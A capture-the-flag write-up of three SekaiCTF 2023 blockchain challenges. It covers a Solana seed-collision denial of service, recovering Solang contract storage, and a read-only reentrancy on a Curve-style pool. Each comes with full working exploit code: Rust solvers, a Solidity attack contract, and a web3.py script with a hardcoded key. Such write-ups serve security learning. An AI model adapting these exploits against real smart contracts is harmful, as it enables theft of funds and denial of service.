<-->

I participated in SekaiCTF 2023 with CyKor.
The reason why this CTF is special is that it has blockchain prizes.


I won the second blood in one of the three challenges.

My writeups is https://github.com/kangsangsoo/CTF-Writeups/tree/main/SekaiCTF%202023


The Bidding

 

Analysis

 

Taking a look at framework/src/main.rs, we could get the following flow:

 

1. Admin sends 500sol, 1sol to rich_boi, user.

2. Product is created and auction starts.

3. Run solver's instructions.

4. rich_boi bids 100sol for the auction.

5. The auction is ended.

6. If user is a winner of the auction, it presents a flag.

 

 

If it has a normal flow, rich_boi becomes the winner because the user can only bid up to 1sol.

 

 

So I need the abnormal flows

for example

1. how to get user to have more than 100sol 

2. how to get rich_boi to have less money than 100sol

3. how to end the auction before rici_boi bids
 

 

 

Root Cause

 

In framework/chall/programs/chall/src/lib.rs, we need a product to create the auction.

 

The PDA that contains Product struct is derived from some constraints:

 

1. re-initialization is not allowed

2. product_name and product_id are used as seeds

3. using canonical bump

 

 

#[derive(Accounts)]
#[instruction(product_name: Vec<u8>, product_id: [u8; 32])]
pub struct CreateProduct<'info> {
    #[account(
        init,
        seeds = [ &product_name[..], &product_id ],
        bump,
        payer = user,
        space = ACCOUNT_SIZE,
    )]
    pub product: Account<'info, Product>,

    #[account(mut)]
    pub user: Signer<'info>,

    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

#[derive(Debug)]
#[account]
pub struct Product {
    pub name: Vec<u8>,
    pub id: [u8; 32],

    pub owner: Pubkey,

    pub is_auctioning: bool,
}

 

 

 

According to the constraint of auction account in Bid, an aunction is still in progress and the bid must be higher than the winning_bid_amount.

 

We also need a PDA to store the bid information.

 

It has some constraints:

1. re-init is not allowed

2. auction key and bidder key are used as seeds

3. using canonical bump

 

In this point, if a rich_boi cannot make a bid account

no matter how much sol he has, he can't participate in the bidding.

So the user can be winner in auction with 1sol.

 

Recalling the CreateProduct,

product PDA's seeds = product_name(Vec<u8>) + product_id([u8; 32]) could collide with

bid PDA's seeds = auction key(32-byte) + bidder key(32-byte)

 

By creating a product with the auction key as the product_name and the rich_boi key as the product_id, a seed collision occurs, preventing rich_boi from participating in the auction.

 

#[derive(Accounts)]
#[instruction(bid_amount: u64)]
pub struct Bid<'info> {
    #[account(
        init,
        seeds = [ &auction.key().as_ref(), &bidder.key().as_ref() ],
        bump,
        payer = bidder,
        space = ACCOUNT_SIZE,
    )]
    pub bid: Account<'info, BidInfo>,

    #[account(
        mut,
        seeds = [ product.key().as_ref(), &auction.name ],
        bump,
        constraint = !auction.has_ended,
        constraint = bid_amount > auction.winning_bid_amount,
    )]
    pub auction: Account<'info, Auction>,

    #[account(
        seeds = [ &product.name, &product.id ],
        bump,
    )]
    pub product: Account<'info, Product>,

    #[account(mut)]
    pub bidder: Signer<'info>,

    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

 

 

So, seed collision could result in DoS attack.

 

 

Solve

 

#[program]
pub mod solve {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>, name: Vec<u8>, seed: [u8; 32]) -> Result<()> {
        // solve goes here:

        let cpi_accounts = chall::cpi::accounts::Bid {
            bid: ctx.accounts.user_bid.to_account_info(),
            auction: ctx.accounts.auction.to_account_info(),
            product: ctx.accounts.product.to_account_info(),
            bidder: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::bid(cpi_ctx, 1 as u64)?;

        let cpi_accounts2 = chall::cpi::accounts::CreateProduct {
            product: ctx.accounts.fake_product.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
        chall::cpi::create_product(cpi_ctx2, name, seed)?;

        Ok(())
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    // feel free to expand/change this as needed
    // if you change this, make sure to change framework-solve/src/main.rs accordingly

    #[account(mut)]
    pub admin: AccountInfo<'info>,

    #[account(mut)]
    pub rich_boi: AccountInfo<'info>,

    #[account(mut)]
    pub user: Signer<'info>,

    #[account(mut)]
    pub auction: AccountInfo<'info>,

    #[account(mut)]
    pub product: AccountInfo<'info>,

    pub system_program: Program<'info, System>,

    pub chall: Program<'info, chall::program::Chall>,

    pub rent: Sysvar<'info, Rent>,

    // added
    #[account(mut)]
    pub user_bid: AccountInfo<'info>,
    #[account(mut)]
    pub fake_product: AccountInfo<'info>,
}

 

 

 


Play for Free

 

Analysis

This was written as https://github.com/hyperledger/solang

 

GitHub - hyperledger/solang: Solidity Compiler for Solana and Polkadot

Solidity Compiler for Solana and Polkadot. Contribute to hyperledger/solang development by creating an account on GitHub.

github.com

 

It's obviously Solidity but I was confused when I knew it was working on Solana.

 

In order to emit the flag, we must know the value of the initialized state variables in the constructor.

In detail, when we call play function, the tokens should be 0x1f, which is 0b11111 in binary.

That means tokens ^= 1, 2, 4, 8, 16 is executed. 

 

In fact, since there is a way to get the data in the chain, I expected this challenge could be easily solved.

If this chall is related to EVM, I can use getStorageAt.

If this chall is related to Solana, I can use account.data. 

 

 

Solve

 

My first challenge was how to call a function and

second one was how the storage layout was constructed.

 

In terms of Solidity, function selector is a 4-byte determined through sha3.

In terms of Solana, discriminator is a 8-byte determined through sha256.

 

Fortunately, thanks to the server code, I found out I needed a discriminator.

 

I wanted to know specifically, so I modified Solang's code and printed out the discriminator.

 

https://solana.stackexchange.com/questions/4992/how-can-i-get-the-discriminator-of-an-instruction-in-an-anchor-solana-idl

https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/ast.rs#L460

 

"global:tokens"
[215, 149, 40, 154, 182, 146, 65, 125] 
"global:playCount"
[81, 212, 88, 253, 69, 244, 53, 0]     
"global:find_string_uint64"
[9, 229, 75, 5, 193, 115, 105, 171]    
"global:find_bytes32"
[85, 43, 21, 196, 243, 127, 55, 65]    
"global:find_string"
[52, 228, 208, 77, 202, 97, 52, 46]    
"global:play"
[213, 157, 193, 142, 228, 56, 248, 150]

 

 

 

The second difficulty was that I knew Solang stores state variable in data_account, but I didn't know how it was saved.

I looked it up on docs and github, but I couldn't get a clue.

https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2082
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/cfg.rs#L2145
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1723
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1680
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/sema/types.rs#L1760
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/src/codegen/mod.rs#L298
https://github.com/hyperledger/solang/blob/main/src/codegen/mod.rs#L299
https://github.com/hyperledger/solang/blob/7774674eec37aeca048fb4a93f9eefcf8140c5a7/stdlib/solana.c#L340

 

So I modified the server code and figured out the layout through debugging.

https://github.com/kangsangsoo/CTF-Writeups/blob/main/SekaiCTF%202023/Play%20for%20Free/solve/src/lib.rs#L45

 

00..16 struct account_data_header
16..20 tokens
20..24 playCount
24..32 forgotten
32..36 pointer of stuckInGap
36..44 atBottom
44..76 somewhere
76..96 maybe header of string type..?  
96..104 stuckInGap
104..120 I don't know
120..128 lookForIt
128..160 I don't know

 

 

Since we know all state variable values, we just call find functions and get a flag.

 

 

entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {
        let account_iter = &mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let data_account = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let user_data = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        // for debug
        {
            // let str = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref();
            // msg!(&format!("{:?}", Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()));
        }
        let forgotten:[u8; 8]  = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()[24..32].try_into().unwrap();
        let atBottom:[u8; 8] = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()[36..44].try_into().unwrap();
        let somewhere:[u8; 32] = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()[44..76].try_into().unwrap();
        let stuckInGap:[u8; 8] = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()[96..104].try_into().unwrap(); 
        let lookForIt:[u8; 8] = Rc::deref(&Rc::clone(&data_account.data)).borrow().deref()[120..128].try_into().unwrap();

        {
            let mut cont: Vec<u8> = vec![85, 43, 21, 196, 243, 127, 55, 65];

            cont.append(&mut somewhere.to_vec());
    
            let find_bytes32 = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&find_bytes32, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec<u8> = vec![52, 228, 208, 77, 202, 97, 52, 46];
            let mut cont2: Vec<u8> = vec![8,0,0,0];
            
            cont.append(&mut cont2);
            cont.append(&mut lookForIt.to_vec());
    
            let find_string = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&find_string, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec<u8> = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec("Token Dispenser").unwrap();
    
            cont.append(&mut s1);
            cont.append(&mut forgotten.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&find_string_uint64, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec<u8> = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec("Token Counter").unwrap();
    
            cont.append(&mut s1);
            cont.append(&mut stuckInGap.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&find_string_uint64, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec<u8> = vec![9, 229, 75, 5, 193, 115, 105, 171];
            let mut s1 = BorshSerialize::try_to_vec("Arcade Machine").unwrap();
    
            cont.append(&mut s1);
            cont.append(&mut atBottom.to_vec());
    
            let find_string_uint64 = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&find_string_uint64, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }

        {
            let mut cont: Vec<u8> = vec![213, 157, 193, 142, 228, 56, 248, 150];
    
            let play = Instruction::new_with_bytes(
                program.key.clone(),
                &cont,
                vec![
                    AccountMeta::new(data_account.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new_readonly(program.key.clone(), false),
                ],
            );
    
            invoke(&play, 
                &[
                    user_data.clone(),
                    data_account.clone(),
                    user.clone(),
                    program.clone(),
                    my_pg.clone(),
                    sp.clone(),
            ]);
        }
       
        Ok(())        
    }

 


Re-Remix

 

Analysis

 

├── Equalizer.sol   
├── FreqBand.sol    
├── MusicRemixer.sol
├── SampleEditor.sol

 

In MusicRemixer.sol, setup contract, if the level of song is 30 or more than, it emits a flag.

The level of song is determined by the multiplication of tempo of SampleEditor and complexity of Equalizer.

 

First, the tempo is a state variable of SampleEditor and is set by adjust function.

To avoid a revert in adjust function, I have to change a value in mapping through updateSetting function that is able to change a value of storage slot.

 

The skills required here are to calculate storage slot number for mapping and dynamic objects.

I knew roughly how to do it, but I've never actually done it, so it took me a while.

 

But there's a huge trick, and if I use debugger, I don't actually have to calculate it..

For my study, I also wrote python script. 

 

in remix

 

 

 

Eqaulizer.sol is an example code that implements the stable swap of curve finance as solidity.

What we have to do is make the return value of the getVirtualPrice function change.
However, considering the stable swap, this might be impossible considering that the amount of ether we have is one.

 

 

 

Root Cause

This challenge is an example of read-only re-entrancy.

https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/

 

Curve LP Oracle Manipulation: Post Mortem

What if you could manipulate Curve's oracles to exploit major DeFi protocols? Read about the technical details of read-only reentrency attacks.

chainsecurity.com

 

When removing the LP token by removeLiqudity(), the transfer of Ether exists and re-entrancy is possible for the getVirtualPrice() function.

Since the invariant is still broken, the get virtual price is unstable, so I can call finish and emit the flag through receive().

 

 

 

Solve

 

pragma solidity 0.8.19;

import "./Equalizer.sol";
import "./MusicRemixer.sol";
import "./SampleEditor.sol";

contract Attack {
    
    Equalizer public E;
    SampleEditor public SE;
    MusicRemixer public MR;

    constructor(address se, address mr, address e) payable{
        E = Equalizer(e);
        SE = SampleEditor(se);
        MR = MusicRemixer(mr);
    }

    receive() payable external {
        MR.finish();
    }

    function attack() external {
        uint[3] memory amt;
        amt[0] = 10**18 - 36516516511234512;
        E.increaseVolume{value:amt[0]}(amt);
        E.decreaseVolume(E.volumeGainOf(address(this)));
    }
}

 

from web3 import Web3
import json
from solc import compile_source
import time
w3 = Web3(Web3.HTTPProvider("http://re-remix-web.chals.sekai.team/97feb6dd-eda1-4097-8694-e039e816e14b"))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bc'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address

MR_addr = "0x88aBc46b2D004FFd51E6246f04bDDB8E247DD89D"
SE_addr = "0xA3e98779924Ee0468b6e22468a69B542945f7e07"
S_addr = "0x55739f7e32eD132cAb6eBb095B3ec6e84B42DD0f"
E_addr = "0xE056699Af3564f767E15EF2446972A4B78A173Dd"
attack_slot = 0x5ebfdad7f664a9716d511eafb9e88c2801a4ff53a3c9c8135d4439fb346b50bf
attack_input = 0x0000000000000000000000000000000000000000000000000000000000000100

def attackSE():
    f = open('SE.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SE_addr, abi=abi)
    func_call = contract.functions["updateSettings"](attack_slot, attack_input).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions["setTempo"](233).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions["adjust"]().build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open("att.abi", "r"); contract_abi= f.read(); f.close()
    f = open("att.bin", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SE_addr, MR_addr, E_addr).build_transaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
            "value": 10**18 - 26516516511234512
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    addr =  str(transaction_receipt.contractAddress)

    contract = w3.eth.contract(address=addr, abi=contract_abi)
    func_call = contract.functions["attack"]().build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

attackSE()
attack_deploy()

+ Recent posts